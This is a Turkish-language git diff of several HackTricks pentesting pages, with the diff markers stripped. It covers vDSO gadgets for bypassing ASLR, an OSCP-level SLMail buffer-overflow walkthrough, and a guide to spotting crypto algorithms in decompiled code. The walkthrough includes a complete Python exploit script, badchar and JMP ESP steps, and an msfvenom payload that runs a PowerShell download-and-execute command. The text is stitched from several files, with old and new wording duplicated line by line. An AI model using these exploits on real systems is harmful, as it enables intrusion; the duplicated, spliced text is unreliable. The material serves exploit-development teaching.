AWS Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 **Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## Temel Bilgiler
Genellikle kullanıcı modundan çekirdek moduna geçiş için kullanılan **vDSO bölgesindeki aygıtlar** olabilir. Bu tür zorluklarda genellikle bir çekirdek görüntüsü sağlanır ve vDSO bölgesi dökülür.
[https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) örneğini takip ederek, vdso bölümünün dökülmesinin ve ana bilgisayara taşınmasının nasıl mümkün olduğunu görebilirsiniz.
[https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) örneğini takip ederek, vdso bölümünün dökülerek ana bilgisayara taşınabileceği görülebilir.
```bash
# Find addresses
cat /proc/76/maps
@ -64,27 +65,28 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
```
{% hint style="danger" %}
Bu nedenle, **vdso'yu kötüye kullanarak ASLR'yi atlayabilir** olabileceğine dikkat edin eğer kernel CONFIG\_COMPAT\_VDSO ile derlenmişse, vdso adresi rastgele olmayacaktır: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
Bu nedenle, **vdso'yu kötüye kullanarak ASLR'yi atlayabilme** olasılığının olabileceğine dikkat edin, çünkü kernel CONFIG\_COMPAT\_VDSO ile derlenmişse vdso adresi rastgele olmayacaktır: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
{% endhint %}
### ARM64
Kali 2023.2 arm64'te bir ikili dosyanın vdso bölümünü döküp kontrol ettikten sonra, orada ilginç bir araç bulamadım (yığında bulunan değerlerden kayıtları kontrol etmek veya bir ret için x30'u kontrol etmek için bir yol yok) **ancak bir SROP'u çağırmak için bir yol var**. Daha fazla bilgi için sayfadaki örneğe bakın:
Kali 2023.2 arm64'te bir ikili dosyanın vdso bölümünü döküp kontrol ettikten sonra, orada ilginç bir araç bulamadım (değerlerden kaynaklanan kayıtları kontrol etmek veya x30'u bir ret için kontrol etmek için bir yol yok) **ancak bir SROP'u çağırmak için bir yol** bulunmaktadır. Daha fazla bilgi için sayfadaki örneğe bakın:
{% content-ref url="srop-sigreturn-oriented-programming/srop-arm64.md" %}
[srop-arm64.md](srop-sigreturn-oriented-programming/srop-arm64.md)
{% endcontent-ref %}
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Windows Exploiting (Temel Kılavuz - OSCP seviyesi)
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com)
* [**PEASS Ailesi**]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'ler**] koleksiyonumuz (https://opensea.io/collection/the-peass-family)
* **Katılın** 💬 [**Discord grubuna**] (https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**] veya bizi **Twitter** 🐦 [**@hacktricks\_live**] (https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşın, PR'lar göndererek** [**HackTricks**] ve [**HackTricks Cloud**] github depolarına (https://github.com/carlospolop/hacktricks).
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## **SLMail servisini kurmaya başlayın**
@ -72,21 +73,19 @@ Desen, önceki servisi durdurmak için kullandığınız tampon kadar büyük ol
```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
```
```markdown
Değiştirin ve modeli ayarlayın ve saldırıyı başlatın.
Değiştirme exploitin tamponunu ve deseni ayarla ve exploit'i başlat.
Yeni bir çökme oluşmalı, ancak farklı bir EIP adresi ile:
![](<../.gitbook/assets/image (636).png>)
Adresin modelinizde olup olmadığını kontrol edin:
Adresin deseninizde olup olmadığını kontrol edin:
![](<../.gitbook/assets/image (418).png>)
```
```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
```
Görünüşe göre, tamponun 2606 ofsetindeki EIP'yi değiştirebiliyoruz.
Görünüşe göre **tamponun 2606 ofsetindeki EIP'yi değiştirebiliyoruz**.
Exploit'in tamponunu değiştirerek kontrol edin:
```
@ -102,14 +101,13 @@ Görünüşe göre çalışıyor.
## Stack içinde Shellcode alanını kontrol et
600B, herhangi güçlü bir shellcode için yeterli olmalıdır.
Güçlü bir shellcode için 600B yeterli olmalıdır.
Şimdi tamponu değiştirelim:
```
buffer = 'A'*2606 + 'BBBB' + 'C'*600
```
```markdown
Yeni açığı başlatın ve EBP'yi kontrol edin ve kullanışlı shellcode'ın uzunluğunu kontrol edin
Başlatılan yeni saldırıyı kontrol edin ve EBP'yi ve kullanışlı shellcode'un uzunluğunu kontrol edin
![](<../.gitbook/assets/image (119).png>)
@ -123,7 +121,6 @@ Bu durumda **0x0209A128'den 0x0209A2D6'ya kadar = 430B.** Yeterli.
Yine tamponu değiştirin:
```
```
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
@ -144,7 +141,7 @@ badchars = (
)
buffer = 'A'*2606 + 'BBBB' + badchars
```
badchars 0x01 ile başlar çünkü 0x00 neredeyse her zaman kötüdür.
Badchars 0x01'den başlar çünkü 0x00 neredeyse her zaman kötüdür.
Bu yeni tamponla tekrar tekrar saldırıyı yürütün ve gereksiz bulunan karakterleri silin:
@ -154,7 +151,7 @@ Bu durumda **0x0A karakterini kullanmamalısınız** (0x09 karakterinde hiçbir
![](<../.gitbook/assets/image (111).png>)
Bu durumda **0x0D karakterinden kaçınılması gerektiği görülmektedir**:
Bu durumda **0x0D karakterinden kaçınılıyor**:
![](<../.gitbook/assets/image (1098).png>)
@ -164,17 +161,17 @@ Kullanarak:
```
!mona modules #Get protections, look for all false except last one (Dll of SO)
```
**Bellek haritalarını listeleyeceksiniz**. Yukarıdaki özelliklere sahip bir DLL arayın:
**Bellek haritalarını listeleyeceksiniz**. Şu özelliklere sahip bir DLL arayın:
* **Yer Değiştirme: Yanlış**
* **SafeSEH: Yanlış**
* **ASLR: Yanlış**
* **NX Uyumluluğu: Yanlış**
* **OS Dll: Doğru**
* **İşletim Sistemi DLL'si: Doğru**
![](<../.gitbook/assets/image (555).png>)
Şimdi, bu bellek içinde bazı JMP ESP baytlarını bulmalısınız, bunun için şunu çalıştırın:
Şimdi, bu bellek içinde bazı JMP ESP baytlarını bulmalısınız, bunu yapmak için şunu çalıştırın:
```
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
@ -192,7 +189,7 @@ msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Obj
```
Eğer exploit çalışmıyorsa ama çalışması gerekiyorsa (ImDebg ile shellcode'a ulaşıldığını görebilirsiniz), farklı shellcodelar oluşturmayı deneyin (aynı parametrelerle farklı shellcodelar oluşturmak için msfvenom'u kullanın).
Shellcode'un başına **bazı NOPS'lar ekleyin** ve onu ve return adresini JMP ESP'ye yönlendirerek exploit'i tamamlayın:
Shellcode'un başına **bazı NOPS'ları ekleyin** ve onu ve return adresini JMP ESP'ye yönlendirerek exploit'i tamamlayın:
```bash
#!/usr/bin/python
@ -242,25 +239,26 @@ except:
print "Could not connect to "+ip+":"+port
```
{% hint style="warning" %}
Kendilerini **üzerine yazacak** kabuk kodları bulunmaktadır, bu nedenle kabuk kodundan önce her zaman bir miktar NOP eklemek önemlidir.
Kendilerini **üzerine yazacak** shellcode'lar bulunmaktadır, bu yüzden shellcode'un önüne her zaman bir miktar NOP eklemek önemlidir.
{% endhint %}
## Kabuk kodunu geliştirme
## Shellcode'u geliştirme
Bu parametreleri ekleyin:
```bash
EXITFUNC=thread -e x86/shikata_ga_nai
```
{% hint style="success" %}
Öğren ve AWS Hacking pratiği yap:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Öğren ve GCP Hacking pratiği yap: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekle</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol et!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katıl veya [**telegram grubuna**](https://t.me/peass) katıl veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip et.**
* **Hacking püf noktalarını paylaşmak için PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulun.
</details>
{% endhint %}

View file

@ -2,19 +2,20 @@
## Kriptografik/Sıkıştırma Algoritmaları
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın(https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünleri**]'ni alın(https://peass.creator-spring.com)
* [**PEASS Ailesi**]'ni keşfedin(https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**]'in koleksiyonu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek destek olun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
</details>
{% endhint %}
## Algoritmaları Tanımlama
@ -24,27 +25,28 @@ Eğer bir kod **kaydırma işlemleri, XOR'lar ve çeşitli aritmetik işlemler**
**CryptDeriveKey**
Bu fonksiyon kullanılıyorsa, ikinci parametrenin değerini kontrol ederek **hangi algoritmanın kullanıldığını** bulabilirsiniz:
Bu fonksiyon kullanılıyorsa, ikinci parametrenin değerini kontrol ederek hangi **algoritmanın kullanıldığını** bulabilirsiniz:
![](<../../.gitbook/assets/image (156).png>)
Mümkün algoritmaların ve atanan değerlerin tablosu için buraya bakabilirsiniz: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
Mümkün algoritmalar ve atanan değerlerin tablosu için buraya bakabilirsiniz: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
**RtlCompressBuffer/RtlDecompressBuffer**
Veri tamponunu sıkıştırır ve açar.
Veri akışını sıkıştırır ve açar.
**CryptAcquireContext**
[Belgelerden](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): **CryptAcquireContext** fonksiyonu, belirli bir kriptografik hizmet sağlayıcısı (CSP) içinde belirli bir anahtar konteynerine bir tutamaç almak için kullanılır. **Bu döndürülen tutamaç, seçilen CSP'yi kullanan CryptoAPI** fonksiyonlarında kullanılır.
[Belgelerden](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): **CryptAcquireContext** fonksiyonu, belirli bir kriptografik hizmet sağlayıcısı (CSP) içinde belirli bir anahtar konteynerine bir tutamaç almak için kullanılır. **Bu döndürülen tutamaç, seçilen CSP'yi kullanan CryptoAPI** fonksiyonlarına yapılan çağrılarda kullanılır.
**CryptCreateHash**
Veri akışının karma işlemini başlatır. Bu fonksiyon kullanılıyorsa, ikinci parametrenin değerini kontrol ederek **hangi algoritmanın kullanıldığını** bulabilirsiniz:
Veri akışının karma işlemini başlatır. Bu fonksiyon kullanılıyorsa, ikinci parametrenin değerini kontrol ederek hangi **algoritmanın kullanıldığını** bulabilirsiniz:
![](<../../.gitbook/assets/image (549).png>)
Mümkün algoritmaların ve atanan değerlerin tablosu için buraya bakabilirsiniz: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
\
Mümkün algoritmalar ve atanan değerlerin tablosu için buraya bakabilirsiniz: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
### Kod sabitleri
@ -52,31 +54,31 @@ Bazen bir algoritmayı tanımlamak gerçekten kolay olabilir çünkü özel ve b
![](<../../.gitbook/assets/image (833).png>)
Google'da ilk sabit arandığında elde edilen sonuç:
Eğer ilk sabit için Google'da arama yaparsanız, aşağıdakini elde edersiniz:
![](<../../.gitbook/assets/image (529).png>)
Bu nedenle, dekompilasyon işlevinin bir **sha256 hesaplayıcısı olduğunu** varsayabilirsiniz. Diğer sabitlerden herhangi birini arayabilir ve (muhtemelen) aynı sonucu elde edersiniz.
Bu nedenle, dekompilasyon edilmiş fonksiyonun bir **sha256 hesaplayıcısı** olduğunu varsayabilirsiniz. Diğer sabitlerden herhangi birini arayabilir ve (muhtemelen) aynı sonucu elde edersiniz.
### Veri bilgisi
Kodda anlamlı bir sabit yoksa, muhtemelen **.veri bölümünden bilgi yükleniyor** demektir.\
Bu veriye erişebilir, **ilk dört byt'ı gruplayabilir** ve yukarıda yaptığımız gibi Google'da arayabilirsiniz:
Eğer kodda önemli bir sabit yoksa, muhtemelen **.data bölümünden bilgi yükleniyor** demektir.\
Bu verilere erişebilir, **ilk dört kelimeyi gruplayabilir** ve yukarıda yaptığımız gibi Google'da arayabilirsiniz:
![](<../../.gitbook/assets/image (531).png>)
Bu durumda, **0xA56363C6**'ya baktığınızda, bunun **AES algoritmasının tablolarıyla ilişkili olduğunu** bulabilirsiniz.
Bu durumda, **0xA56363C6** için arama yaparsanız, bunun **AES algoritmasının tablolarıyla** ilişkili olduğunu bulabilirsiniz.
## RC4 **(Simetrik Şifreleme)**
### Özellikler
* **Başlatma aşaması/**: 0x00 ile 0xFF arasındaki değerlerin bir **tablosunu oluşturur** (toplamda 256 byte, 0x100). Bu tablo genellikle **Yerine Koyma Kutusu** (veya SBox) olarak adlandırılır.
* **Karıştırma aşaması**: Önceki oluşturulan tablo üzerinden **döngü yapacak** ve her değeri **yarı rastgele** byte'larla değiştirerek (tekrar 0x100 iterasyon döngüsü) karıştıracaktır. Bu yarı rastgele byte'ları oluşturmak için RC4 **anahtarı kullanılır**. RC4 **anahtarları** genellikle **1 ile 256 byte arasında olabilir**, ancak genellikle 5 bytedan fazla olması önerilir. Genellikle, RC4 anahtarları 16 byte uzunluğundadır.
* **XOR aşaması**: Son olarak, düz metin veya şifreli metin, önceki oluşturulan değerlerle **XOR edilir**. Şifrelemek ve şifre çözmek için aynı işlev kullanılır. Bunun için, oluşturulan 256 byte üzerinde bir **döngü** gerektiği kadar çok kez yapılır. Bu genellikle bir dekompilasyon kodunda **%256 (mod 256)** ile tanınır.
* **Başlatma aşaması/**: 0x00 ile 0xFF (toplamda 256 bayt, 0x100) arasında bir **değer tablosu oluşturur**. Bu tablo genellikle **Yerine Koyma Kutusu** (veya SBox) olarak adlandırılır.
* **Karıştırma aşaması**: Önceki oluşturulan tablo üzerinde dönecek (tekrar 0x100 iterasyon döngüsü) ve her bir değeri **yarı rastgele** baytlarla değiştirerek **değiştirecek**. Bu yarı rastgele baytları oluşturmak için RC4 **anahtarı kullanılır**. RC4 **anahtarları** genellikle **1 ile 256 bayt arasında** olabilir, ancak genellikle 5 bayttan fazla olması önerilir. Genellikle, RC4 anahtarları 16 bayt uzunluğundadır.
* **XOR aşaması**: Son olarak, düz metin veya şifreli metin, önceki oluşturulan değerlerle **XOR edilir**. Şifrelemek ve deşifre etmek için aynı işlev kullanılır. Bunun için, oluşturulan 256 bayt üzerinde bir döngü **gerektiği kadar** yapılacaktır. Bu genellikle bir dekompilasyon kodunda **%256 (mod 256)** ile tanınır.
{% hint style="info" %}
**RC4'ü bir dekompilasyon/derlenmiş kodda tanımlamak için anahtar kullanarak 0x100 boyutunda 2 döngü ve muhtemelen %256 (mod 256) kullanarak 2 döngüde oluşturulan 256 değerle giriş verisinin XOR'landığını kontrol edebilirsiniz.**
**RC4'ü bir dekompilasyon/dekompilasyon kodunda tanımlamak için 0x100 boyutunda 2 döngüye (bir anahtar kullanarak) ve ardından giriş verilerinin 2 döngüde önceden oluşturulan 256 değerle XOR'lanmasıyla muhtemelen %256 (mod 256) kullanılarak kontrol edebilirsiniz.**
{% endhint %}
### **Başlatma aşaması/Yerine Koyma Kutusu:** (256 sayısı kullanılan sayacı ve 256 karakterin her bir yerine 0 yazıldığına dikkat edin)
@ -96,8 +98,8 @@ Bu durumda, **0xA56363C6**'ya baktığınızda, bunun **AES algoritmasının tab
### **Özellikler**
* **Yerine koyma kutuları ve arama tabloları** kullanımı
* **Belirli arama tablosu değerlerinin** (sabitlerin) kullanımı sayesinde AES'i **ayırt etmek mümkündür**. _**Sabit**'in ikili dosyada **saklanabileceğine veya dinamik olarak oluşturulabileceğine**_ _**dikkat edin**._
* **Şifreleme anahtarı**, **16'ya bölünebilmelidir** (genellikle 32B) ve genellikle 16B'lik bir **IV** kullanılır.
* **Belirli arama tablosu değerlerinin** (sabitlerin) kullanımı sayesinde AES'i **ayırt etmek mümkündür**. _**Sabit**'in ikili dosyada **saklanabileceğini veya dinamik olarak oluşturulabileceğini**_ _**unutmayın**._
* **Şifreleme anahtarı** 16'ya **bölünebilir** olmalıdır (genellikle 32B) ve genellikle 16B'lik bir **IV** kullanılır.
### SBox sabitleri
@ -108,32 +110,34 @@ Bu durumda, **0xA56363C6**'ya baktığınızda, bunun **AES algoritmasının tab
### Özellikler
* Kullanan bazı kötü amaçlı yazılımların nadir olduğu ancak örneklerin bulunduğu (Ursnif gibi)
* Bir algoritmanın Serpent olup olmadığını belirlemek oldukça basittir, uzunluğuna (son derece uzun işlev) dayanarak.
* Bir algoritmanın Serpent olup olmadığını belirlemek oldukça basittir, uzunluğuna (son derece uzun fonksiyon) dayanarak.
### Tanımlama
Aşağıdaki resimde **0x9E3779B9** sabitinin kullanıldığına dikkat edin (bu sabitin **TEA** -Tiny Encryption Algorithm gibi diğer kripto algoritmalarında da kullanıldığını unutmayın).\
Ayrıca **döngü boyutunu** (**132**) ve **XOR işlemlerinin sayısını** **derleme** talimatlarında ve **örnek kodda** fark edin:
Aşağıdaki resimde **0x9E3779B9** sabitinin nasıl kullanıldığına dikkat edin (bu sabitin **TEA** -Tiny Encryption Algorithm gibi diğer kripto algoritmalarında da kullanıldığını unutmayın).\
Ayrıca **döngünün boyutunu** (**132**) ve **XOR işlemlerinin sayısını** **derleme** talimatlarında ve **örnek kodda** fark edin:
![](<../../.gitbook/assets/image (547).png>)
Daha önce belirtildiği gibi, bu kod, içinde **atlamalar olmadığı için** bir dekompiler içinde **çok uzun bir işlev** olarak görülebilir. Dekompilasyon kodu aşağıdaki gibi görünebilir:
Yukarıda belirtildiği gibi, bu kod, içinde **atlamaların olmadığı** çok uzun bir fonksiyon olarak herhangi bir dekompilatörde görüntülenebilir. Dekompilasyon edilmiş kod aşağıdaki gibi görünebilir:
![](<../../.gitbook/assets/image (513).png>)
Bu nedenle, bu algoritmayı tanımlamak için **sihirli sayıyı** ve **başlangıç XOR'larını** kontrol ederek, **çok uzun bir fonksiyonu** görerek ve bazı **talimatları** (örneğin, 7 ile sola kaydırma ve 22 ile sola döndürme) **uzun fonksiyonun bazı talimatlarıyla bir uygulamayla karşılaştırarak** mümkündür.
## RSA **(Asimetrik Şifreleme)**
### Özellikler
* Simetrik algoritmalardan daha karmaşıktır
* Simetrik algoritmalarından daha karmaşıktır
* Sabitler yoktur! (özel uygulamaları belirlemek zordur)
* KANAL (bir şifre analizörü) RSA hakkında ipuçları veremez çünkü sabitlere dayanır.
### Karşılaştırma Yoluyla Tanımlama
### Karşılaştırmalarla Tanımlama
![](<../../.gitbook/assets/image (1113).png>)
* Sol tarafta 11. satırda `+7) >> 3` sağ tarafta 35. satırda aynıdır: `+7) / 8`
* Sol tarafta 12. satır `modulus_len < 0x040`'ı kontrol ederken sağ tarafta 36. satır `inputLen+11 > modulusLen`'i kontrol eder.
* 11. satırda (sol) `+7) >> 3` bulunur, aynı şey 35. satırda (sağ) `+7) / 8` olarak geçer
* 12. satırda (sol) `modulus_len < 0x040` kontrol edilirken, 36. satırda (sağ) `inputLen+11 > modulusLen` kontrol edilir
## MD5 & SHA (hash)
@ -158,7 +162,7 @@ Daha fazla sabit kullanımına dikkat edin
